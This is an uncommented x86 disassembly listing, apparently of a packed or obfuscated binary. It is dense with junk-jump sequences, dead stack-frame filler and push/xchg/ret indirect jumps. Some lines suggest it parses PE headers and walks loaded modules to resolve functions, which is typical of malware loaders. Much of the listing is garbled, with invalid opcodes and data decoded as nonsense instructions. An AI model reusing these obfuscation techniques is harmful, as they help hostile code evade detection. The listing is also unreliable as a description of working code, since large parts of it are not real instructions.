and eax, 0x1cdbd947
and al, 0xf8
fistp dword [esp]
clc
cld
jmp 0x44f634
jae 0x44e585
add byte [eax], al
mov al, byte [0x2643]
add byte [edi + ebp*2], bl
jle 0x44f63c
invalid
jmp 0x44f9a8
mov ecx, ebx
clc
cld
jmp 0x44f6b4
jae 0x44f7bd
sbb al, 0x9f
add byte [ecx + ebx*2 - 0x30], cl
rol dword [eax], 1
add byte [eax], al
inc edx
dec edi
push esp
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ed1a
imul ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x45058b
add ecx, dword [ecx + 0x3c]
clc
cld
jmp 0x44f7c5
jae 0x44f1cc
add dword [ebx + edx*2], ecx
xlatb
cli
add byte [ecx + 0x53e90c00], al
jmp 0x44f449
jne 0x44dee1
clc
cld
jmp 0x44f7fa
jae 0x44f940
rep stosd dword es:[edi], eax
clc
cld
jmp 0x44f810
jae 0x450ea8
add al, bh
cli
int3
fistp dword [esp]
clc
cld
jmp 0x44f84a
jae 0x44e2e4
add byte [edx - 0x61], bl
jbe 0x44f855
add dword [eax], 0xb00c701
test ecx, ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e4c0
mov dword [esp + 0x1c], edi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450df6
cli
add byte [0x59c50000], ah
pop ecx
clc
cld
jmp 0x44f893
jae 0x44dbf5
scasd eax, dword es:[edi]
dec edx
pop edx
jbe 0x44f887
add byte [ecx + 0x77], bl
pop ecx
add byte [eax], al
push ebx
add edx, dword [ebx + 0x71b7b951]
inc eax
add byte [edi + 0x2dc3240c], al
cmpsd dword [esi], dword es:[edi]
sbb ebp, edi
cmp eax, dword [eax]
pop ecx
mov al, byte [0xcce2]
or al, 3
fistp dword [esp]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450ec1
mov dword [esp + 0x44], eax
clc
cld
jmp 0x44f92e
jae 0x44f9f4
xor eax, dword [eax]
xlatb
dec edx
add byte [ecx + ebx*8], bl
add byte [edx + ebp + 0x36], cl
xchg ecx, ebp
invalid
jne 0x44e8f8
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x45074d
shl edx, 5
clc
cld
jmp 0x44f996
jae 0x44e4f4
pop edx
std
fld dword [eax]
add byte [0x5a67], ch
xor al, 0x11
pop ecx
clc
cld
jmp 0x44f9ae
jae 0x44ffe6
add byte [ebx], bh
or eax, 0xd00000
add byte [eax], al
add ah, cl
add byte [eax - 0x23], dl
pop ecx
push ecx
mov ecx, 0x40619f
xchg dword [esp], ecx
ret
mov eax, dword [ebp + 0x28]
clc
cld
jmp 0x44f9fc
jae 0x44da8b
add byte [ecx - 0x60], bl
add ah, cl
dec esi
cld
fld dword [eax]
push ebx
xor al, 0x31
mov eax, dword [ebp + eax*2]
clc
cld
jmp 0x44fa17
jae 0x450b1f
push ebx
cmpsd dword [esi], dword es:[edi]
ja 0x44fa21
add byte [eax], al
sub eax, 0x24a760e
and ecx, dword [ebx - 0xc07db8b]
cld
jmp 0x44fa31
jae 0x44ea18
cmp dword [ebx + 0x3b0000], 0x5a5976d7
or dword [ebp - 0x70], edx
push ebp
mov ebp, esp
leave
nop
jmp 0x450888
mov ecx, dword [ecx + 0x38]
clc
cld
jmp 0x44fa95
jae 0x44d41b
add byte [eax], al
add byte [eax], al
add byte [ecx + 0xd97600], al
imul esp, dword [esi], 0xffffffd9
call 0xecd0503d
fld1
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44dd9c
add ecx, eax
clc
cld
jmp 0x44fb7f
jae 0x44db24
ja 0x44fb96
jbe 0x44fbbc
scasd eax, dword es:[edi]
add ch, bh
dec esi
add byte [eax], al
stosd dword es:[edi], eax
lahf
mov edi, dword [ebp + 0x24]
clc
cld
cld
jmp 0x44fb99
jae 0x44fbdd
add dl, bh
add bl, bl
clc
clc
sub dword [edi - 0x39], 0xfbdec00
test dword [ebx + 0x19], edi
add byte [eax], al
clc
cld
jmp 0x44fbb6
jae 0x44e04e
push ebx
add byte [eax], al
loop 0x44fbc1
dec esp
xor edi, 0xfcf3f856
jmp 0x44fbca
jae 0x44f2f0
add dword [eax], eax
add byte [edi], ch
pop ecx
add byte [eax], al
add byte [eax], al
int3
pushal
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f541
mov esi, 0xfff8eeef
clc
cld
jmp 0x44fc04
mov ebx, dword [edx + 0x10]
clc
cld
jmp 0x44fc1b
jae 0x44ede6
xor eax, 0x766fd000
add byte [edx + 0x42], cl
pop edx
loop 0x44fc93
push ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ee87
mov edi, dword [edi]
clc
cld
jmp 0x44fc52
jae 0x451327
add byte [eax], al
add byte [eax + eax], bl
inc ebx
and eax, 0xd0cc254e
mov ebx, 0xc244c8b
mov ecx, dword [esp + 0xc]
push ecx
mov ecx, 0x404dd6
xchg dword [esp], ecx
ret
shr ecx, 2
clc
cld
jmp 0x44fc86
jae 0x44e97a
add ch, bh
add byte [esi], ah
and eax, 0xcca7cc
dec edx
lahf
push ecx
clc
cld
jmp 0x44fc9d
int3
jae 0x44f355
lds ebx, [ecx - 0x2f]
add ch, al
dec ebp
add byte [eax], al
xor eax, dword [eax]
outsd dx, dword [esi]
add byte [eax], ch
sub byte [eax], al
add byte [esi - 0x46ae9f19], bl
sbb al, byte [edi + 0x40]
add byte [edi + 0x19c3240c], al
add byte [eax], al
add cl, bl
cld
add byte [eax], al
dec esp
or eax, 0x7c00ab00
pop ebx
mov ecx, 0x9e10
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f524
movzx edi, word [edi + 0x14]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450559
ret
add edi, 8
clc
cld
jmp 0x44fe10
jae 0x45034a
dec edx
rol byte [eax], 1
push ebx
and eax, 0x3b0e0076
ror byte [ebx + 0x50], 1
push eax
clc
cld
jmp 0x44fe27
jae 0x44e824
add byte [ebx - 0x27], al
add byte [eax], al
shl dword [eax - 0x7f000000], 1
add byte [eax], cl
or byte [eax], cl
add bl, ch
push ecx
push ecx
mov ecx, 0x405b0d
xchg dword [esp], ecx
ret
movsx edx, word [ecx + 6]
clc
cld
jmp 0x44fe93
jae 0x44fb78
mov ah, 0
add byte [eax], al
inc esi
pop edx
or eax, 0xd6c00000
mov esi, 0x51598726
mov ecx, 0x405d96
xchg dword [esp], ecx
ret
mov edi, eax
clc
cld
jmp 0x44ff17
jae 0x44eb9e
add ch, bh
mov al, byte [0xfd000159]
add byte [esi], ah
add byte [0x6f0e2ace], ch
mov edi, dword [edi + 0x28]
clc
cld
jmp 0x44ff34
jae 0x44e66b
mov ecx, dword [edi + 6]
clc
cld
jmp 0x44ff88
jae 0x450ba4
pop edx
dec edx
add bl, bl
mov al, byte [0x4200d700]
add byte [ecx + 3], bh
jne 0x44ffc0
push ecx
mov ecx, 0x4067db
xchg dword [esp], ecx
ret
inc esi
outsd dx, dword [esi]
add byte [edi], cl
dec edx
lds ebp, [edi + 0x4e]
add byte [eax], al
lcall 0xf3f8, 0xd2334fdc
cld
xor edx, edx
clc
cld
jmp 0x44ffd4
jae 0x44e381
pop ecx
or eax, 0x5a1959
jmp 0x4576e5
add ecx, 0x28
clc
cld
jmp 0x44ffee
jae 0x44ea4e
loop 0x44fff6
add byte [eax], al
add byte [ebx + edi*4 - 0xeacbc45], dh
je 0x44d3e7
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ece6
pop esi
clc
cld
jmp 0x450028
jae 0x450284
or al, 0
add byte [eax], al
add byte [ecx], al
add byte [ecx], bl
pop edx
add byte [ecx - 0x3f3e80d0], ch
inc esp
push ecx
mov ecx, 0x40682a
xchg dword [esp], ecx
ret
add edi, ecx
clc
cld
jmp 0x450079
jae 0x44e8a9
rol byte [eax], 1
add byte [eax], al
cmp eax, dword [eax]
add dword [esi], eax
loop 0x45008a
cmp byte [esi - 0x3c], ch
dec eax
dec eax
dec eax
add al, bl
push 0x4f006868
push ebp
mov ebp, esp
push ebx
push 0xffffffffffffff84
leave
mov al, byte [0x5a]
mov ch, 0x1e
pop edx
test byte [eax], 0x7b
add ch, ah
sub ah, ah
add byte [ecx - 0x53], ch
fld1
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x451023
not edx
push ecx
mov ecx, 0x405c6d
xchg dword [esp], ecx
ret
push ebx
clc
cld
jmp 0x450121
jae 0x44ec41
cmp ebx, dword [ecx]
add byte [eax], al
test eax, 0x19a00067
add byte [ebx + 0x6f], dl
call 0x68ad69f2
add byte [edx + 0x33], cl
push ebp
mov ebp, esp
ret 0xdb
pop ecx
clc
cld
jmp 0x4501a5
jae 0x44d34e
cli
dec esi
cmpsd dword [esi], dword es:[edi]
mov ebx, 0xe2001900
add byte [edi - 0x1768b600], bl
adc dl, ah
invalid
jne 0x44f524
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e0ec
je 0x450329
clc
cld
jmp 0x450241
jae 0x44e27d
add cl, dl
add byte [eax - 0x41ffff2f], ah
aaa
je 0x44f76d
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4512d7
mov eax, dword [ecx + 0x10]
clc
cld
jmp 0x45028c
jae 0x451372
fild dword [bx + si]
xor eax, 0xd1008100
dec edx
add byte [eax], dh
add dword [eax + 0x51], edx
mov ecx, 0x404d21
xchg dword [esp], ecx
ret
call eax
push ecx
mov ecx, 0x4072de
xchg dword [esp], ecx
ret
mov edi, dword [ebp + 0x24]
clc
cld
jmp 0x450331
jae 0x44e22e
jne 0x450339
rol dword [eax], 1
test eax, 0x4e006fb1
add dh, bh
pop esp
xor byte [eax + 0x60], ah
pushal
add byte [esi], dl
popal
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f7ef
stosb byte es:[edi], al
clc
cld
jmp 0x450387
jae 0x44de24
invalid
lea ecx, [ebp + 0x28]
push ecx
mov ecx, 0x405b41
xchg dword [esp], ecx
ret
movzx edi, word [edi + 0x14]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e874
lea edi, [esp + 0x30]
clc
cld
jmp 0x450494
jae 0x44fbfa
test eax, 0xf0c000e
add ch, bh
mov ah, 0x4d
je 0x44d924
je 0x44d924
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4513bf
push 0xec1e26f3
clc
cld
jmp 0x4504e3
jae 0x44dcaa
add ah, bh
add bl, bl
add bh, dl
xor eax, 0x81893d46
mov eax, 0xf8000000
cld
jmp 0x4504fd
jae 0x44f270
test eax, 0x5ad753d9
xor eax, dword [eax]
push ds
scasb al, byte es:[edi]
xchg ebx, eax
je 0x4512f0
clc
cld
jmp 0x450518
jae 0x44dcf6
rol dword [eax], 1
add byte [edi - 0x715f4f00], bl
add eax, dword [ebx]
ret
add edi, ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44daf2
mov dword [esp + 0x1c], eax
clc
cld
jmp 0x450594
jae 0x44d4e0
sub eax, 0xa9abfc
inc esi
add byte es:[eax], al
wait
call dword [edi - 0x20]
push ecx
mov ecx, 0x407f68
xchg dword [esp], ecx
ret
je 0x450959
clc
cld
jmp 0x4505ff
jae 0x44fe08
sub eax, 0x8100
add byte [ebp - 0x3c], cl
rol dword [edi - 0x74aa6f09], cl
in al, dx
xchg edi, esi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f2be
shl esi, 3
clc
cld
jmp 0x45062f
jae 0x44f98e
pop edx
add byte [ebx], dh
add byte [ecx - 0x5488ff91], ch
mov ebx, 0xf8c703d7
cld
jmp 0x450647
jae 0x44f17a
add byte [0x530000e2], dh
lds esi, [esi + 0x25]
cld
stosd dword es:[edi], eax
dec edx
push ebp
call fcn.0044e3cd
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44d90b
ja 0x44ea31
clc
cld
jmp 0x45067f
jae 0x4512f0
outsd dx, dword [esi]
add byte [eax], al
add ch, al
add byte [ecx + 0x76], bl
mov esi, 0xdb89cef2
sbb al, 0x24
push ecx
mov ecx, 0x40811f
xchg dword [esp], ecx
ret
push edx
clc
cld
jmp 0x4506fe
jae 0x4515d5
lahf
add byte [0xb147b4d0], dh
cmp eax, dword [ecx - 0x18c42f25]
push esi
clc
cld
jmp 0x450717
jae 0x4509ae
add byte [ebp], dh
sub eax, 0
add byte [eax], al
add byte [ebx + 0x64], al
add byte fs:[edx + 0x58c8c88a], bl
mul bl
pop edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x451477
cmp dword [edi + 0x10], 0x6c006900
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44d1ed
xor dword [esp], eax
push ecx
mov ecx, 0x4056c3
xchg dword [esp], ecx
ret
add esp, 0x2c
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f874
jne 0x44f4a1
clc
cld
jmp 0x45082a
jae 0x44dabe
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [esp + ecx], cl
add byte [eax], al
lodsd eax, dword [esi]
add ecx, 0xb
push ecx
mov ecx, 0x4061eb
xchg dword [esp], ecx
ret
pop edx
clc
cld
jmp 0x45085b
jae 0x44d2a1
add byte [eax + 0x430000], ah
add byte [esi], cl
dec esi
add byte [esi + 0x67], dh
ret
stosb byte es:[edi], al
clc
cld
jmp 0x450874
jae 0x44d924
cli
add byte [esp + ebx], cl
add byte [esi], cl
add byte [0xf4330c00], ah
pop es
cld
clc
cld
jmp 0x45088e
jae 0x44ef7d
sbb al, 0
add byte [edx], cl
sub eax, 0x81e9a0
add byte [eax + 0x287d89bf], ah
mov dword [ebp + 0x28], edi
clc
cld
jmp 0x4508a9
jae 0x44e95f
add byte [eax], al
mov ebx, 0xb40000
pop edx
cmpsd dword [esi], dword es:[edi]
add byte [ecx], al
push eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x45039b
shl eax, 3
push ecx
mov ecx, 0x407dca
xchg dword [esp], ecx
ret
movzx edi, word [edi + 4]
clc
cld
jmp 0x450962
jae 0x450c65
xor eax, 0x53e9a0f8
rol dword [edx], 1
add bh, bh
xchg ebx, ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450f66
ret
push edi
clc
cld
jmp 0x4509b4
jae 0x44e70a
loop 0x450997
lahf
add byte [eax], al
inc esi
xor edi, eax
std
jbe 0x450a3a
xor esi, ecx
mov ecx, ebx
clc
cld
jmp 0x4509ce
jae 0x44dcdd
xor eax, 0x4d00a046
add byte [eax + eax + 0x260000d0], dh
sub dword [ebp + 0x5120247c], ecx
mov ecx, 0x406a6b
xchg dword [esp], ecx
ret
add esi, 6
push ecx
mov ecx, 0x405e99
xchg dword [esp], ecx
ret
inc eax
add byte [edi + 0xc3240c], al
add byte [esi], cl
hlt
mov esi, dword [edx]
push ecx
mov ecx, 0x405f6e
xchg dword [esp], ecx
ret
mov eax, dword [edx + 0x18]
clc
cld
jmp 0x450ac0
jae 0x44fc13
dec esp
add byte [eax + 0xd12d00], ah
dec ebp
inc esi
inc edi
cmpsb byte [esi], byte es:[edi]
mov dl, 0x41
call fcn.0044e3cd
clc
cld
jmp 0x450add
jae 0x4508ba
mov al, byte [0x59a00000]
add byte [eax], al
fld xword [esi - 0x55]
jmp 0x450ce6
lea eax, [edi + eax]
clc
cld
jmp 0x450b27
jae 0x44d2dd
lahf
add byte [eax], al
add bl, bl
add byte [ebx - 0x4e000000], bh
and dl, byte [edx]
retf 0x46cb
mov eax, edi
clc
cld
jmp 0x450b5c
jae 0x44e638
add byte [edx], al
add cl, dl
add byte [ecx - 0x2ffff91], dh
cmp bl, byte [eax - 0x397c2028]
adc al, 0xf8
cld
jmp 0x450b79
jae 0x44f7d6
add byte [eax], al
add byte [eax], al
xlatb
jbe 0x450bd3
inc edi
add byte [edx - 0x55], cl
test al, 1
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44da64
and ecx, 0xffff
clc
cld
jmp 0x450baf
jae 0x44d83c
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ebx, 0x51519f78
push ecx
mov ecx, 0x40773f
xchg dword [esp], ecx
ret
xor edx, eax
push ebx
out 0xf, eax
test dword [esi - 0x7000002], esp
cld
jmp 0x450be2
jae 0x44e59e
sbb dword [eax], eax
cli
add byte [eax], al
jne 0x450bbf
or byte [eax], cl
add byte [eax], al
xor al, 0xa8
dec esp
dec esp
dec esp
add byte [ebp + 0x59], bl
clc
cld
jmp 0x450c00
jae 0x44e086
dec esi
add dword [edi], ebp
pop edx
add dword [eax], 0xf40000d9
add byte [esp + eax + 4], dl
add byte [eax], al
jbe 0x450c4f
sub eax, 0xfcf3f851
push ecx
clc
cld
jmp 0x450c20
jae 0x44f04f
add byte [eax], al
add byte [ecx + 0xf4d9c7], al
inc edi
fisttp dword [ebp]
popfd
fistp dword [esp]
push ecx
mov ecx, 0x404229
xchg dword [esp], ecx
ret
push ecx
mov ecx, 0x4057bc
xchg dword [esp], ecx
ret
lea edi, [edi + ebx]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4503d3
ret
fld1
clc
cld
jmp 0x450c9e
jae 0x44e6be
outsd dx, dword [esi]
inc esi
mov al, byte [0xaf001900]
or eax, 0x63000000
jmp 0x44db75
add byte [ebx - 0x17], ah
ror dh, 0xff
inc dword [eax]
sub eax, 0xdb
rol byte [eax], 1
rol dword [eax], 1
add byte [ebp], dh
dec edx
scasd eax, dword es:[edi]
int3
mov eax, dword [ecx + 8]
clc
cld
jmp 0x450cd1
jae 0x44eb00
or eax, 0x5300d753
add byte [ebx + 0x4cb40025], ch
dec esp
add byte [eax], al
int1
push eax
clc
cld
jmp 0x450cec
jae 0x44d6e4
xor eax, dword [ebx + 0x3b]
add ah, bh
pop ecx
jbe 0x450cae
add byte [eax], al
dec esi
fld dword [ecx + 0x56]
push esi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450ff0
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44eace
popal
clc
cld
jmp 0x450dfc
jae 0x44e603
add ebx, dword [ebp + 0x24]
clc
cld
jmp 0x450e32
jae 0x44d1ba
push ebx
pop ecx
add byte [eax], al
add bh, dl
add dl, ah
leave
pop ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44fe8a
popal
clc
cld
jmp 0x450eae
jae 0x44f2a4
add dword [eax], eax
ja 0x450eb8
add byte [eax], al
add byte [ebp], cl
add byte [ebp], dh
pop ds
wait
clc
cld
jmp 0x450ec7
jae 0x44e8dc
dec esp
add byte [edx], bl
add byte [eax], al
inc edx
add bh, dl
std
cmpsd dword [esi], dword es:[edi]
invalid
rep movsb byte es:[edi], byte [esi]
push ecx
mov ecx, 0x405ee4
xchg dword [esp], ecx
ret
add esi, ebx
clc
cld
jmp 0x450f31
jae 0x451664
push cs
add byte [edi], cl
add bl, bl
pop edx
mov cl, 0
fld dword [eax]
dec esi
fist dword [ebx - 8]
cld
jmp 0x450f49
jae 0x44daa4
pop ecx
jmp 0x11e4a55
je 0x44f5df
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44d7bb
push ebx
push ecx
mov ecx, 0x405038
xchg dword [esp], ecx
ret
mov esi, dword [esi + edx*4]
clc
cld
jmp 0x450ff8
jae 0x44d334
dec esi
push ebx
cli
dec ebp
add dword [eax], eax
add byte [0xd9a10000], cl
call 0x770fc960
inc eax
add byte [edi + 0x53c3240c], al
add byte [eax], al
add dl, ah
lahf
scasd eax, dword es:[edi]
stosd dword es:[edi], eax
add ah, dh
inc edi
xor esi, 0xb95151bb
mov ch, 0x3f
inc eax
add byte [edi - 0x2e3cdbf4], al
loop 0x451031
push ecx
push ecx
mov ecx, 0x403fb5
xchg dword [esp], ecx
ret
sbb edi, eax
add byte [eax], al
and eax, 0x59464600
fnstcw word [eax]
xlatb
div ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44da2c
mov ebx, 0x11c04
clc
cld
jmp 0x4510ce
jae 0x450f81
xor eax, 0xb1
add ah, cl
add ch, al
not dword [esp]
clc
cld
jmp 0x4510e5
jae 0x45117a
add ch, al
add byte [edi + 0xf6759af], ch
add byte [esi + 0x29], dh
stosb byte es:[edi], al
clc
cld
jmp 0x4510fc
jae 0x44e684
add byte [eax], al
add byte [eax], al
jmp 0xf9110b
pop eax
jmp 0x451160
mov esi, eax
clc
cld
jmp 0x451167
jae 0x4510c4
int3
push 0x2e697574
clc
cld
jmp 0x451184
jae 0x4504d9
cld
sbb al, 0
add byte [edx + 0x76], al
add byte [ecx + 0x11], bl
jne 0x44defa
clc
cld
jmp 0x45119e
jae 0x450ab8
fisttp dword [esi]
add byte [eax], al
add byte [edx - 3], bl
cmp dword [ebx - 0x6746ae0d], ecx
je 0x4511f3
add byte [edi - 0x4b3cdbf4], al
mov al, byte [0x81db47fa]
mov ebx, 0x4600
outsd dx, dword [esi]
sub al, 0x2c
sub al, 0
pop edi
pushal
clc
cld
jmp 0x4511cf
jae 0x45011b
out dx, eax
invalid
lahf
xlatb
clc
add byte [eax], al
add byte [ecx + 0x1cfdfa00], ch
add byte [edx + 0x4c4c4c], dl
sbb dword [ebp - 0x75], edx
in al, dx
add byte [eax], al
wait
add byte [eax], al
jns 0x4511d2
mov eax, 0x9f912f00
das
xchg ecx, eax
lahf
sbb ah, ch
add byte [eax], al
add byte [eax], al
mov bl, 0x29
push ds
xchg byte [edx - 0x58], dh
xchg byte cs:[ecx - 0xffff57], cl
add byte [eax - 0x361374ab], dl
nop
jmp 0x44f430
push ebx
push ecx
mov ecx, 0x404069
xchg dword [esp], ecx
ret
inc eax
clc
cld
jmp 0x4512dd
jae 0x44f76d
push ebx
dec ebp
add cl, bl
add byte [edx + 0x25], bl
cmpsd dword [esi], dword es:[edi]
std
add byte [edi - 0x3c74ce45], bl
mov eax, ebx
push ecx
mov ecx, 0x404b77
xchg dword [esp], ecx
ret
sub edi, edx
clc
cld
jmp 0x45132e
jae 0x45169e
dec ebp
push cs
and eax, 0xc001919
inc esi
int3
mov eax, esi
clc
cld
jmp 0x451347
jae 0x44d755
and eax, 0xc0046
add byte [ebx + 0x59], dl
loop 0x451340
mov al, byte [0xf8d2332f]
xor edx, edx
clc
cld
jmp 0x451360
jae 0x45103d
outsd dx, dword [si]
add byte [ecx + 0x4a5a43], dh
pop ecx
add byte [eax], al
sub eax, 0x52
invalid
call 0x4511c9
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450c1a
cmp dword [edi], 0x69007200
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f972
shr ecx, 2
clc
cld
jmp 0x4513e0
jae 0x44de3f
add byte [eax], al
add byte [ecx - 0x29], bl
xor eax, 0x6ffa
add eax, dword [ebx - 0xc07ef39]
cld
jmp 0x4513f9
jae 0x44dee1
add byte [bx + si], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc edi
arpl bx, bx
sbb al, 0x24
clc
cld
jmp 0x451412
jae 0x44edcc
inc edi
dec ebp
pop edx
and eax, 0x10000a0
add byte [eax], al
jp 0x451462
cmp al, 0x3a
adc dh, byte [esi + ebx*8]
rol dword [edi - 8], cl
inc edi
clc
cld
jmp 0x451430
jae 0x45086e
clc
inc esi
add dword [eax], eax
sbb al, 0
fldl2t
invalid
lodsb al, byte [esi]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4510f6
push esp
inc eax
add byte [edi + 0xc3240c], al
jmp 0x45cf6f
pop ecx
clc
cld
jmp 0x45147d
jae 0x44f9c2
int3
fistp dword [esp]
clc
cld
jmp 0x451500
jae 0x44f222
add byte [edx], al
sub eax, 0x2d6747
invalid
xchg dword [esp], ecx
ret
xor eax, eax
clc
cld
jmp 0x451586
jae 0x44fd85
jmp 0x779e1591
mov eax, dword fs:[eax]
push ecx
mov ecx, 0x40685c
xchg dword [esp], ecx
ret
add edi, dword [ebp + 0x24]
clc
cld
jmp 0x4515c4
jae 0x450711
test eax, 0xf475f8
add byte [edi + 0x59], ch
mov al, byte [0xc68b1b00]
mov eax, esi
clc
cld
jmp 0x4515dc
jae 0x44f6ad
xor eax, 0x43004635
outsd dx, dword [esi]
add byte [esi - 0x61], al
jbe 0x45156e
push eax
adc byte [eax + 0x282828], bl
xchg esp, eax
push 0x15006868
mov esi, dword [esi + 0x80]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f0a1
cli
rol dword [eax], 1
scasd eax, dword es:[edi]
lodsd eax, dword [si]
lodsd eax, dword [esi]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ee6e
mov ecx, eax
clc
cld
jmp 0x45164c
jae 0x44e106
add cl, ch
inc esi
add byte [eax], al
add byte [eax], al
add byte [esi], ah
add byte [eax], al
jbe 0x451627
pushal
pushal
add byte [eax], al
invalid
mov edi, dword [ecx + 0xc]
clc
cld
jmp 0x45166c
jae 0x4515bc
jne 0x4516a9
add byte [edx], al
mov cl, 1
add byte [eax], al
add byte [esi + edx*2 + 0x4c4c5632], ch
dec esp
add cl, ch
mov ebp, esp
push ecx
mov ecx, 0x403f98
xchg dword [esp], ecx
ret
add edi, ebx
clc
cld
jmp 0x4516a5
jae 0x44da4b
invalid
add dl, bh
jmp 0x8b6577
cld
mov cl, 0x85
salc
push ss
and eax, 0x90f2deaf
push ebp
xchg dword [ecx - 0x2b], ebx
jle 0x457704
sar word [esi], 0x19
xor ecx, 0x68
paddusb mm1, qword [eax - 0x2b63ce00]
sbb esp, dword [ebx + 0x6c20c0bb]
inc dword [ecx - 1]
invalid